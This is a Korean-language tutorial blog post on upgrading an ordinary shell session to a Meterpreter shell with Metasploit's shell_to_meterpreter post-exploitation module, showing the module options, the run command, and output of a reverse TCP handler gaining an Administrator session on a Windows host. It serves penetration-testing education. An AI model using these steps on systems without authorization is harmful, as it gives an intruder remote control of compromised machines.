[METASPLOIT] Default Shell을 Meterpreter Shell로 업그레이드하기(Nomal Shell to Meterpreter shell)

Metasploit 모듈 중 shell_to_meterpreter라는 POST 모듈이 있습니다. 이 모듈을 이용해서 reverse_tcp, bind_tcp 등 일반 쉘을 meterpreter shell로 업그레이드 할 수 있습니다.

shell_to_meterpreter Options


일단 해당 POST 모듈 사용을 위해 shell_to_meterpreter 모듈로 이동합니다.

hahwul exploit(handler) #> use post/multi/manage/shell_to_meterpreter

옵션을 보면 매우 심플합니다. HANDLER, LHOST, LPORT, SESSION 으로 구성됩니다.

hahwul post(shell_to_meterpreter) #> show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.



크게 중요한것만 보면 HANDLER는 해당 모듈이 동작할 때 meterpreter shell을 위해 추가로 handler를 돌릴 필요없이 해당 모듈에서 돌려주도록 설정하는 값입니다. Default로 yes로 되어 있으며, 별도로 handler가 동작중이라면 no로 변경하셔도 좋습니다.

LPORT는 해당 Shell로 넘어가는 POST 데이터와 handler에 모두 영향을 미치는 옵션값입니다.
이 값을 통해서 새롭게 열릴 Meterpreter 의 Port를 지정할 수 있습니다.

가장 중요한 SESSION은 현재 업그레이드 하려는 shell의 session 번호를 기입해줍니다.

shell_to_meterpreter 실행

위와같이 옵션 설정 후 실행 시 Meterpreter Shell의 데이터가 SESSION에 지정된 쉘로 넘어가며, 해당 쉘에서 추가로 해당 모듈이 만든 handler로 연결을 하게되어 meterpreter shell이 떨어지게 됩니다.

hahwul post(shell_to_meterpreter) #> run -z

[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.0.66:4444
[*] Starting the payload handler...
[*] Command stager progress: 1.66% (1699/102108 bytes)
[*] Command stager progress: 3.33% (3398/102108 bytes)
[*] Command stager progress: 4.99% (5097/102108 bytes)
[*] Command stager progress: 6.66% (6796/102108 bytes)
[*] Command stager progress: 8.32% (8495/102108 bytes)
[*] Command stager progress: 9.98% (10194/102108 bytes)
[*] Command stager progress: 11.65% (11893/102108 bytes)
..snip..


이후 sessions을 통해 확인해보면 meterpreter shell이 열린것을 확인할 수 있습니다.
hahwul post(shell_to_meterpreter) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.66:4444 -> 192.168.0.66:38762 (10.0.2.15)